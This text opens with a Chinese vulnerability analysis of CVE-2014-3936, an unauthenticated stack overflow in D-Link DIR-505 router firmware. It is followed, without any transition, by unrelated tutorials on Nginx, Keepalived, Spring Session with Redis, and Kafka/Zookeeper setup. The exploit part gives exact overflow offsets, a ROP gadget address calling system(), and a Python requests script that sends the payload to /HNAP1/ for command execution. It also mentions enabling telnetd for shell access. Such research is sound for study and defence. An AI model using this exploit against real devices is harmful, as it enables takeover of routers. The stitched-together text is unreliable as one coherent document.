CVE-2014-3936 是發生在 dlink 旗下路由器 dir-505 的緩沖區溢出漏洞,漏洞存在于固件版本 1.07 及以前的 HNAP 處理程序中,漏洞發生在 HNAP 處理請求的時候,將 CONTENT_LENGTH 大小的數據直接復制到了緩沖區中,如果 CONTENT_LENGTH 大小超過了緩沖區大小,就會導致緩沖區溢出,進而實現代碼執行。總之,是一個數組越界導致緩沖區溢出的漏洞。
此次漏洞分析采用的是 dir-505 固件版本 1.07,漏洞下載地址見參考鏈接。通過分析固件的文件系統,可以知道服務器采用的是 lighttpd 作為后端,lighttpd 也是嵌入式設備經常使用的一個小型 http server。發生漏洞的程序是 ./usr/bin/my_cgi.cgi,使用的是 fastcgi 調用過程,當收到 uri 為 HNAP1 的數據包時,會將數據包通過環境變量和標準輸入 STDIN 傳給 my_cgi.cgi 進行處理。
漏洞發生的位置是在 main -> do_hnap 函數中,do_hnap 函數在從環境變量中讀取數據的時候,先讀取數據包長度 CONTENT_LENGTH,然后根據其大小,通過一個循環,從標準輸入中每次讀取一個字節放在函數棧上的緩沖區中。如果 CONTENT_LENGTH 過大,就會導致緩沖區溢出,實際上就是數據包的數據夠多,就會發生緩沖區溢出。IDA 中反編譯的關鍵流程如下:
int do_hnap()
{
dec_content_length = 0;
content_length = getenv("CONTENT_LENGTH"); // 從環境變量獲取 CONTENT_LENGTH
if ( content_length )
dec_content_length = strtol(content_length, 0, 10); // 將 CONTENT_LENGTH 轉化為 10 進制
...
if ( dec_content_length > 0 )
{
loop_pointer = v12; // 指向 buf 的起始位置
end_of_buf = &v12[dec_content_length]; // 指向 buf 的結束位置
memset(v12, 0, sizeof(v12)); // 對 buf 清零
while ( stdin->_fileno )
{
v6 = stdin->_IO_write_base;
if ( v6 >= stdin->_IO_write_end )
{
v8 = (int (**)(FILE *))&_fgetc_unlocked;// v8 實際上是一個函數指針
LABEL_21:
v7 = ((int (*)(void))v8)(); // 調用 fgetc
goto LABEL_22;
}
v7 = *v6;
stdin->_IO_write_base = v6 + 1;
LABEL_22:
*loop_pointer++ = v7; // 將 fgetc 讀取到的字符寫入到 buf
if ( loop_pointer == end_of_buf ) // 結束從 STDIN 中讀取
{
...
}
}
v8 = &fgetc;
在 do_hnap 函數中,函數執行完畢后的返回地址在初始化堆棧的時候存放在 sp + 0x7574,緩沖區的起始地址是 sp + 0x30,那么一共需要 30020 個字節使緩沖區溢出,再額外溢出 4 個字節就可以修改保存再堆上的返回地址,最后 do_hnap 函數執行完畢將返回地址從棧中取出到 ra 寄存器然后跳轉,就可以達到劫持控制流的目的。緩沖區的起始地址可以從 IDA 直接反編譯得到。
.text:00430DBC sw $ra, 0x7560+var_s14($sp) # 保存返回地址到棧上
...
.text:00431168 lw $ra, 0x7574($sp) # 從棧上恢復返回地址跳轉執行
...
.text:00431184 jr $ra
.text:00431188 addiu $sp, 0x7578
后端的 server 是 lighttpd,一開始沒有在固件根目錄下面找到 html 文件,在 cq 師傅的提醒下,先分析系統的啟動腳本 ./etc/rc.d/rcS。在啟動腳本中,掛載一些設備和創建相關目錄,然后是系統初始化程序 system_manager 運行,在其中也會通過 system 函數執行一些命令。如下是系統初始化腳本。
#!/bin/ash
# This script runs when init it run during the boot process.
# Mounts everything in the fstab
mount -a
mount -o remount +w /
# Mount the RAM filesystem to /tmp
mount -t tmpfs tmpfs /tmp
# 此處會覆蓋掉原來的 etc 目錄
# copy all files in the mnt folder to the etc folder
cp -a /mnt/* /etc
ln -sf /etc/hotplug/hotplug /sbin/hotplug
mkdir -p /var/etc
mkdir -p /var/firm
mkdir -p /var/log
mkdir -p /var/misc
mkdir -p /var/run
mkdir -p /var/sbin
mkdir -p /var/tmp
mkdir -p /tmp/var
# 系統初始化程序
#/bin/echo "Init System..."
system_manager &
#/bin/echo "Start tftpd..."
tftpd &
將系統初始化程序 system_manager 放入 IDA 分析,在 main -> init_system -> init_web_server -> init_html_files 中可以看到是如何將原本存放在 mnt 目錄下的 html 文件解壓出來的,那我們在啟動 lighttpd 之前就可以手動執行相關的命令,將 html 文件準備好。
int init_html_files()
{
system("tar -zxf /etc/www.tgz");
system("rm -f /etc/www.tgz");
if ( !byte_416321 )
system("mv /www/ap/* /www");
system("rm -rf /www/ap");
if ( byte_416321 == 2 )
system("mv /www/rt/* /www");
system("rm -rf /www/rt");
if ( byte_416321 == 3 )
system("mv /www/rpt/* /www");
system("rm -rf /www/rpt");
if ( byte_416321 == 4 )
system("mv /www/whp/* /www");
system("rm -rf /www/whp");
system("cp -f /usr/bin/my_cgi.cgi /www");
copy_default_xml();
return read_lang_from_flash();
}
最后是看 system_manager 是如何啟動 lighttpd 的,可以在 IDA 中直接搜索字符串 lighttpd,定位到 init_web_server 函數中,然后分析 system 函數傳入的參數,就可以得到 lighttpd 的啟動命令 lighttpd -f /etc/lighttpd/lighttpd.conf。此處如果直接 F5 的話,分析得到的 system 傳入命令不完整。
.text:00403C00 addiu $a0, (aLighttpdFS - 0x400000) # "lighttpd -f %s &"
.text:00403C04 addiu $a1, (aEtcLighttpdLig_0 - 0x400000) # "/etc/lighttpd/lighttpd.conf"
.text:00403C08 jr $t9 ; _system
.text:00403C0C addiu $sp, 0x20
以上是分析工作,實際上真正啟動服務器,可以先直接執行啟動腳本 ./etc/rc.d/rcS,執行完之后,./etc 目錄被原本 ./mnt 中的文件替代了,html 文件被解壓出來放在了 ./www 文件夾中。運行如下命令,就可以啟動 http 服務了。
# 進入固件根目錄
chroot . ./etc/rc.d/rcS
# 再執行一遍 system_manager 這個地方會卡住 因為有些 /dev 沒有被掛載,例如 nvram
chroot . ./usr/bin/system_manager
# 啟動 lighttpd,-D 不進入后臺運行
chroot . ./usr/bin/lighttpd -f ./etc/lighttpd/lighttpd.conf -D
上述的環境搭建其實是不完善的,例如登錄操作這種需要 nvram 的根本執行不了,好在這次漏洞是一個無需認證的漏洞。我沒有找到在 lighttpd 中是怎么調用的 my_cgi.cgi,那就直接調試 cgi,通過環境變量傳入數據進行調試。
幸運的是,可以直接使用 QEMU 進行調試這個漏洞,漏洞的觸發過程也不涉及到額外的 patch 工作。首先分析如何才能使代碼執行到 do_hnap 函數中存在漏洞的代碼處。在 main 函數中,需要設置環境變量 SCRIPT_NAME = HNAP1,使之進入 do_hnap 函數,然后設置環境變量 SOAP_ACTION != (Reboot | SetRouterLanSettings | SetWLanRadioSecurity | SetWLanRadioSettings),也就是不等于以上四者。最后設置環境變量 CONTENT_LENGTH 控制從標準輸入讀入到緩沖區的字節數目。
觸發漏洞的調試腳本如下,補充說明一下需要將 qemu-mips-static 程序復制到固件的根目錄下,這樣 chroot 的時候才可以正確使用 qemu-mips-static 進行調試。
# sudo ./debug_mycgi.sh
#!/bin/bash
export SCRIPT_NAME="HNAP1"
export SOAP_ACTION="soap"
export CONTENT_LENGTH="30028"
STDIN=`python -c "print 'A'*30020 + 'deadbeef'"`
echo "$STDIN" | chroot . ./qemu-mips-static -g 12345 ./usr/bin/my_cgi.cgi
路由器上的程序安全措施通常非常簡單,沒有 NX 也沒有 PIE,此處就直接使用 ret2syscall 來達到命令執行的操作,在 IDA 中使用 mipsrop 插件搜索合適的 gadget,決定使用 0x00405C5C 處。
.text:00405C5C la $t9, system
.text:00405C60 li $s1, loc_430000
.text:00405C64 jalr $t9 ; system
.text:00405C68 addiu $a0, $sp, 0x64+var_3C # command
當劫持了控制流執行到 gadget,堆棧已經從 do_hnap 函數中恢復了平衡,通過計算,system 函數執行的命令保存在相對于 buf 30064 個字節處,總結就是:buf 寫入 30020 個字節之后可以覆蓋返回地址到 gadget 0x00405c5c,再寫入 40 個字節可以寫入 system 函數執行的命令,那么先用 python 腳本寫入一個 stdin 文件,然后在調試腳本中通過 cat 輸出文件內容,通過管道傳遞給 qemu
# python poc.py
cmd = b'touch test\x00'
with open('./stdin', 'wb') as f:
poc = 30020 * b'A' + b'\x00\x40\x5c\x5c' + 40 * b'B' + cmd
f.write(poc)
# sudo ./debug_mycgi.sh
#!/bin/bash
export SCRIPT_NAME="HNAP1"
export SOAP_ACTION="soap"
export CONTENT_LENGTH="30080"
cat ./stdin | chroot . ./qemu-mips-static -g 12345 ./usr/bin/my_cgi.cgi
使用 gdb-multiarch 連接上 target remote :12345,然后在 do_hnap 函數恢復返回地址到 ra 寄存器處下斷點 b *0x431168,可以看到執行完當前指令后,ra 被寫入為 gadget 地址 0x405c5c
繼續單步調試到執行 gadget,調用 system 函數,執行的命令保存在 sp + 0x28 處。
可以看到成功命令執行,創建了 test 文件
如上的漏洞復現調試是針對與 my_cgi.cgi,而真實運行環境是通過 lighttpd 服務器接受用戶發送請求數據包,然后將數據通過環境變量以及 STDIN 傳遞給 my_cgi.cgi 進行處理,漏洞發生也是在這個地方,那么漏洞利用需要構造數據包向 lighttpd 傳遞。初次之外,還需要看固件支持哪些命令,例如此處的 busybox 支持的命令如下:
BusyBox v1.01 (2013.05.23-09:13+0000) multi-call binary
Usage: busybox [function] [arguments]...
or: [function] [arguments]...
BusyBox is a multi-call binary that combines many common Unix
utilities into a single executable. Most people will create a
link to busybox for each function they wish to use and BusyBox
will act like whatever it was invoked as!
Currently defined functions:
[, arping, ash, brctl, busybox, cat, chmod, cp, cut, date, dd,
df, dirname, du, echo, egrep, fdisk, fgrep, find, free, grep,
head, hostname, ifconfig, init, insmod, kill, killall, klogd,
linuxrc, ln, logger, login, logread, ls, lsmod, md5sum, mkdir,
mount, mv, nslookup, ping, ps, reboot, rm, rmmod, route, sed,
sh, sleep, syslogd, tar, telnetd, test, tftp, touch, tr, tty,
umount, uname, vconfig, vi, wc, wget, xargs, zcip
那么簡潔版的 exp 如下,執行結果是直接寫回了到返回數據包中。
import requests
cmd = b'ls -l\x00'
poc = 30020 * b'A' + b'\x00\x40\x5c\x5c' + 40 * b'B' + cmd
res = requests.post(url='http://127.0.0.1:80/HNAP1/', data=poc)
print(res)
通過 busybox 支持的命令也可以看到,有 telnetd,如果在實體機上要獲取到一個可交互的 shell,那么可以開啟設備的 telnet 服務。
如下是個人覺得可以加深對于程序執行流程理解的一些點:
本文由OneShell原創發布
轉載,請參考轉載聲明,注明出處: https://www.anquanke.com/post/id/261344
安全客 - 有思想的安全新媒體
Nginx是一款輕量級的網頁服務器、反向代理服務器。相較于Apache、lighttpd具有占有內存少,穩定性高等優勢。它最常的用途是提供反向代理服務。
linux安裝
在Centos下,yum源不提供nginx的安裝,可以通過切換yum源的方法獲取安裝。也可以通過直接下載安裝包的方法,以下命令均需root權限執行:
首先安裝必要的庫(nginx 中gzip模塊需要 zlib 庫,rewrite模塊需要 pcre 庫,ssl 功能需要openssl庫)。選定/usr/local為安裝目錄,以下具體版本號根據實際改變。
安裝PCRE庫
$ cd /usr/local/
$ wget ftp://ftp.csx.cam.ac.uk/pub/software/programming/pcre/pcre-8.36.tar.gz
$ tar -zxvf pcre-8.36.tar.gz
$ cd pcre-8.36
$ ./configure
$ make
$ make install
./configure報錯
configure: error: You need a C++ compiler for C++ support.
解決辦法
yum install -y gcc gcc-c++
安裝zlib庫
$ cd /usr/local/
$ wget http://zlib.net/zlib-1.2.8.tar.gz
$ tar -zxvf zlib-1.2.8.tar.gz
$ cd zlib-1.2.8
$ ./configure
$ make
$ make install
安裝ssl
$ cd /usr/local/
$ wget http://www.openssl.org/source/openssl-1.0.1j.tar.gz
$ tar -zxvf openssl-1.0.1j.tar.gz
$ ./config
$ make
$ make install
安裝nginx
$ cd /usr/local/
$ wget http://nginx.org/download/nginx-1.8.0.tar.gz
$ tar -zxvf nginx-1.8.0.tar.gz
$ cd nginx-1.8.0
$ ./configure --prefix=/usr/local/nginx
$ make
$ make install
安裝常見錯誤:
Nginx啟動提示找不到libpcre.so.1解決方法
如果是32位系統
[root@lee ~]# ln -s /usr/local/lib/libpcre.so.1 /lib
如果是64位系統
[root@lee ~]# ln -s /usr/local/lib/libpcre.so.1 /lib64
然后在啟動nginx就OK了
[root@lee ~]# /usr/local/webserver/nginx/sbin/nginx
啟動nginx
$ /usr/local/nginx/sbin/nginx
檢查是否啟動成功:打開瀏覽器訪問此機器的 IP,如果瀏覽器出現 Welcome to nginx! 則表示 Nginx 已經安裝并運行成功。
常用命令
重啟:
$ /usr/local/nginx/sbin/nginx 啟動命令
重啟:
$ /usr/local/nginx/sbin/nginx –s reload
停止:
$ /usr/local/nginx/sbin/nginx –s stop
測試配置文件是否正常:
$ /usr/local/nginx/sbin/nginx –t
強制關閉:
$ pkill nginx
啟動Nginx + Keepalived高可用
什么是Keepalived
Keepalived是一個免費開源的,用C編寫的類似于layer3, 4 & 7交換機制軟件,具備我們平時說的第3層、第4層和第7層交換機的功能。主要提供loadbalancing(負載均衡)和 high-availability(高可用)功能,負載均衡實現需要依賴Linux的虛擬服務內核模塊(ipvs),而高可用是通過VRRP協議實現多臺機器之間的故障轉移服務。
上圖是Keepalived的功能體系結構,大致分兩層:用戶空間(user space)和內核空間(kernel space)。
內核空間:主要包括IPVS(IP虛擬服務器,用于實現網絡服務的負載均衡)和NETLINK(提供高級路由及其他相關的網絡功能)兩個部份。
用戶空間:
Keepalived的所有功能是配置keepalived.conf文件來實現的。
安裝keepalived
下載keepalived地址:http://www.keepalived.org/download.html
解壓安裝:
tar -zxvf keepalived-1.2.18.tar.gz -C /usr/local/
yum install -y openssl openssl-devel(需要安裝一個軟件包)
cd keepalived-1.2.18/ && ./configure --prefix=/usr/local/keepalived
make && make install
keepalived安裝成Linux系統服務
將keepalived安裝成Linux系統服務,因為沒有使用keepalived的默認安裝路徑(默認路徑:/usr/local),安裝完成之后,需要做一些修改工作:
首先創建文件夾,將keepalived配置文件進行復制:
mkdir /etc/keepalived
cp /usr/local/keepalived/etc/keepalived/keepalived.conf /etc/keepalived/
然后復制keepalived腳本文件:
cp /usr/local/keepalived/etc/rc.d/init.d/keepalived /etc/init.d/
cp /usr/local/keepalived/etc/sysconfig/keepalived /etc/sysconfig/
ln -s /usr/local/sbin/keepalived /usr/sbin/
ln -s /usr/local/keepalived/sbin/keepalived /sbin/
可以設置開機啟動:chkconfig keepalived on,到此我們安裝完畢!
keepalived 常用命令
service keepalived start
service keepalived stop
配置nginx主備自動重啟
第三步:對配置文件進行修改:vim /etc/keepalived/keepalived.conf
keepalived.conf配置文件說明:
(一)Master
! Configuration File for keepalived
global_defs {
router_id bhz005 ##標識節點的字符串,通常為hostname
}
## keepalived 會定時執行腳本并且對腳本的執行結果進行分析,動態調整vrrp_instance的優先級。這里的權重weight 是與下面的優先級priority有關,如果執行了一次檢查腳本成功,則權重會-20,也就是由100 - 20 變成了80,Master 的優先級為80 就低于了Backup的優先級90,那么會進行自動的主備切換。
如果腳本執行結果為0并且weight配置的值大于0,則優先級會相應增加。
如果腳本執行結果不為0 并且weight配置的值小于0,則優先級會相應減少。
vrrp_script chk_nginx {
script "/etc/keepalived/nginx_check.sh" ##執行腳本位置
interval 2 ##檢測時間間隔
weight -20 ## 如果條件成立則權重減20(-20)
}
## 定義虛擬路由 VI_1為自定義標識。
vrrp_instance VI_1 {
state MASTER ## 主節點為MASTER,備份節點為BACKUP
## 綁定虛擬IP的網絡接口(網卡),與本機IP地址所在的網絡接口相同(我這里是eth6)
interface eth6
virtual_router_id 172 ## 虛擬路由ID號
mcast_src_ip 192.168.1.172 ## 本機ip地址
priority 100 ##優先級配置(0-254的值)
Nopreempt ##
advert_int 1 ## 組播信息發送間隔,倆個節點必須配置一致,默認1s
authentication {
auth_type PASS
auth_pass bhz ## 真實生產環境下對密碼進行匹配
}
track_script {
chk_nginx
}
virtual_ipaddress {
192.168.1.170 ## 虛擬ip(vip),可以指定多個
}
}
(二)Backup
! Configuration File for keepalived
global_defs {
router_id bhz006
}
vrrp_script chk_nginx {
script "/etc/keepalived/nginx_check.sh"
interval 2
weight -20
}
vrrp_instance VI_1 {
state BACKUP
interface eth7
virtual_router_id 173
mcast_src_ip 192.168.1.173
priority 90 ##優先級配置
advert_int 1
authentication {
auth_type PASS
auth_pass bhz
}
track_script {
chk_nginx
}
virtual_ipaddress {
192.168.1.170
}
}
(三)nginx_check.sh 腳本:
#!/bin/bash
A=`ps -C nginx –no-header |wc -l`
if [ $A -eq 0 ];then
/usr/local/nginx/sbin/nginx
sleep 2
if [ `ps -C nginx --no-header |wc -l` -eq 0 ];then
killall keepalived
fi
fi
(四)我們需要把master的keepalived配置文件 copy到master機器(172)的 /etc/keepalived/ 文件夾下,在把backup的keepalived配置文件copy到backup機器(173)的 /etc/keepalived/ 文件夾下,最后把nginx_check.sh腳本分別copy到兩臺機器的 /etc/keepalived/文件夾下。
(五)nginx_check.sh腳本授權。賦予可執行權限:chmod +x /etc/keepalived/nginx_check.sh
(六)啟動2臺機器的nginx之后。我們啟動兩臺機器的keepalived
/usr/local/nginx/sbin/nginx
service keepalived start
ps -ef | grep nginx
ps -ef | grep keepalived
可以進行測試,首先看一下倆臺機器的ip a 命令下 都會出現一個虛擬ip,我們可以停掉 一個機器的keepalived,然后測試,命令:service keepalived stop。結果發現當前停掉的機器已經不可用,keepalived會自動切換到另一臺機器上。
(七)我們可以測試在nginx出現問題的情況下,實現切換,這個時候我們只需要把nginx的配置文件進行修改,讓其變得不可用,然后強殺掉nginx進程即可,發現也會實現自動切換服務器節點。
自動重啟不了,解決辦法
查看腳本是否有運行的權限
如果你是root登陸的話(不是的話,切換到root用戶,對*.sh賦可執行的權限)
chmod 777 *.sh 賦予權限
or
chmod +x *.sh
然后運行就OK了,即有權限對文件進行刪除等操作。
nginx配置負載均衡
創建一個springboot項目 實現負載均衡
集群情況下session會產生什么原因?
因為Session存放在JVM內存中,集群的話多個JVM不會共享
Session共享解決方案
nginx或者haproxy做的負載均衡)
用Nginx 做的負載均衡可以添加ip_hash這個配置,
用haproxy做的負載均衡可以用 balance source這個配置。
從而使同一個ip的請求發到同一臺服務器。
利用數據庫同步session
利用cookie同步session數據原理圖如下
缺點:安全性差、http請求都需要帶參數增加了帶寬消耗
使用Session集群存放Redis
創建一個springboot項目
引入maven依賴
<!--spring boot 與redis應用基本環境配置 -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-redis</artifactId>
</dependency>
<!--spring session 與redis應用基本環境配置,需要開啟redis后才可以使用,不然啟動Spring boot會報錯 -->
<dependency>
<groupId>org.springframework.session</groupId>
<artifactId>spring-session-data-redis</artifactId>
</dependency>
創建SessionConfig
import org.springframework.beans.factory.annotation.Value;
import org.springframework.context.annotation.Bean;
import org.springframework.data.redis.connection.jedis.JedisConnectionFactory;
import org.springframework.session.data.redis.config.annotation.web.http.EnableRedisHttpSession;
//這個類用配置redis服務器的連接
//maxInactiveIntervalInSeconds為SpringSession的過期時間(單位:秒)
@EnableRedisHttpSession(maxInactiveIntervalInSeconds = 1800)
public class SessionConfig {
// 冒號后的值為沒有配置文件時,制動裝載的默認值
@Value("${redis.hostname:localhost}")
String HostName;
@Value("${redis.port:6379}")
int Port;
@Bean
public JedisConnectionFactory connectionFactory() {
JedisConnectionFactory connection = new JedisConnectionFactory();
connection.setPort(Port);
connection.setHostName(HostName);
return connection;
}
}
初始化Session
//初始化Session配置
public class SessionInitializer extends AbstractHttpSessionApplicationInitializer{
public SessionInitializer() {
super(SessionConfig.class);
}
}
配置文件
server.port=8080
spring.redis.database=0
spring.redis.host=192.168.110.185
spring.redis.port=6379
spring.redis.password=123456
spring.redis.pool.max-idle=8
spring.redis.pool.min-idle=0
spring.redis.pool.max-active=8
spring.redis.pool.max-wait=-1
spring.redis.timeout=5000
redis.hostname=192.168.110.185
redis.port=6379
redis.password=123456
控制器層代碼
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.boot.SpringApplication;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class SessionController {
@Value("${server.port}")
private String PORT;
public static void main(String[] args) {
SpringApplication.run(SessionController.class, args);
}
@RequestMapping("/index")
public String index() {
return "index:" + PORT;
}
/**
*
* @methodDesc: 功能描述:(往session存放值)
* @param: @param
* httpSession
* @param: @param
* sessionKey
* @param: @param
* sessionValue
* @returnType:@param httpSession
* @returnType:@param sessionKey
* @returnType:@param sessionValue
* @returnType:@return String
*/
@RequestMapping("/setSession")
public String setSession(HttpServletRequest request, String sessionKey, String sessionValue) {
HttpSession session = request.getSession(true);
session.setAttribute(sessionKey, sessionValue);
return "success,port:" + PORT;
}
/**
*
* @methodDesc: 功能描述:(從Session獲取值)
* @param: @param
* httpSession
* @param: @param
* sessionKey
* @returnType:@param httpSession
* @returnType:@param sessionKey
* @returnType:@return Strin
*/
@RequestMapping("/getSession")
public String getSession(HttpServletRequest request, String sessionKey) {
HttpSession session =null;
try {
session = request.getSession(false);
} catch (Exception e) {
e.printStackTrace();
}
String value=null;
if(session!=null){
value = (String) session.getAttribute(sessionKey);
}
return "sessionValue:" + value + ",port:" + PORT;
}
}
業務數據庫 -》 數據水平分割(分區分表分庫)、讀寫分離
業務應用 -》 邏輯代碼優化(算法優化)、公共數據緩存
應用服務器 -》 反向靜態代理、配置優化、負載均衡(apache分發,多tomcat實例)
系統環境 -》 JVM調優
頁面優化 -》 減少頁面連接數、頁面尺寸瘦身
1、動態資源和靜態資源分離;
2、CDN;
3、負載均衡;
4、分布式緩存;
5、數據庫讀寫分離或數據切分(垂直或水平);
6、服務分布式部署。
https://www.oracle.com/java/technologies/javase/jdk11-archive-downloads.html
tar xzvf jdk-11.0.13_linux-x64_bin.tar.gz
vi /etc/profile
export JAVA_HOME="/usr/local/jdk11.0.13"
export PATH="$JAVA_HOME/bin:$PATH"
export CLASSPATH=.:$JAVA_HOME/lib/tools.jar:$JAVA_HOME/lib/dt.jar
source /etc/profile
Zookeeper下載地址:
https://www.apache.org/dyn/closer.lua/zookeeper/zookeeper-3.8.4/apache-zookeeper-3.8.4-bin.tar.gz
tar xzvf apache-zookeeper-3.8.4-bin.tar.gz
修改config/zoo.cfg
#修改數據存儲目錄
dataDir=/data/zookeeper/data
#文件末尾追加配置內容,添加server端口傳輸
server.1=192.168.0.1:2888:3888
server.2=192.168.0.2:2888:3888
server.3=192.168.0.3:2888:3888
第一臺:
echo 1 > data/myid
第二臺:
echo 2 > data/myid
第三臺:
echo 3 > data/myid
./bin/zkServer.sh start
Kafka下載地址:https://downloads.apache.org/kafka/3.7.0/kafka_2.13-3.7.0.tgz
tar xzvf kafka_2.13-3.7.0.tgz
進入config目錄,修改server.properties。這個配置文件里面的配置項非常多,下面列出幾個要重點關注的配置
#broker 的全局唯一編號,不能重復,只能是數字。
broker.id=0
#數據文件地址。同樣默認是給的/tmp目錄。
log.dirs=/data/kafka/logs
#默認的每個Topic的分區數
num.partitions=1
#zookeeper的服務地址
zookeeper.connect=192.168.0.1:2181,192.168.0.2:2181,
listeners=PLAINTEXT://192.168.0.1:9092
broker.id需要每個服務器上不一樣,分發到其他服務器上時,要注意修改一下,比如第一臺是0,第二臺就是1,第三臺的配置就是2。
當多個Kafka服務注冊到同一個zookeeper集群上的節點,會自動組成集群。
cd /data/kafka
./bin/kafka-server-start.sh -daemon config/server.properties
1)創建topic
./bin/kafka-topics.sh --create --bootstrap-server 192.168.0.1:9092 \
--replication-factor 3 --partitions 2 --topic testTopic
2) 查看topic
./bin/kafka-topics.sh --bootstrap-server 192.168.0.1:9092 --list
3) 向topic發送消息
./bin/kafka-console-producer.sh --bootstrap-server 192.168.0.1:9092 \
--topic testTopic
4) 消費消息
*請認真填寫需求信息,我們會在24小時內與您取得聯系。